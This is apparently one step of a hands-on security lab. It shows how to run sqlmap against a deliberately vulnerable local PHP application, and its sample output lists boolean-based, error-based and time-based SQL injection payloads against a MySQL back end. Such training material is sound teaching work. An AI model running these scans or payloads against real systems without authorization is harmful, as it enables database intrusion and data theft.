Establish a Successful Injection on a Target
In this step, you will use sqlmap to scan a web application and confirm that it is vulnerable to SQL injection. Our setup script has already created a simple, vulnerable PHP application running on the local Apache server. We need to point sqlmap to the target URL and let it perform the initial analysis.
First, run the following sqlmap command in your terminal. We use the -u flag to specify the target URL and --batch to run in non-interactive mode, accepting all default answers.
sqlmap -u "http://127.0.0.1/index.php?id=1" --batch
sqlmap will perform a series of tests. Wait for it to complete. The output will show that the GET parameter id is vulnerable. This confirmation is the necessary first step before we can proceed to exploitation.
You should see output similar to this, confirming the vulnerability:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 1421=1421
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x71627a7671,(SELECT (ELT(2521=2521,1))),0x71787a7171,0x78))s), 8446744073709551610, 8446744073709551610)))
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 2112 FROM (SELECT(SLEEP(5)))mrzs)
---
[15:30:00] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.52, PHP 8.1.2
back-end DBMS: MySQL >= 5.0
[15:30:00] [INFO] fetched data logged to text files under '/home/labex/.local/share/sqlmap/output/127.0.0.1'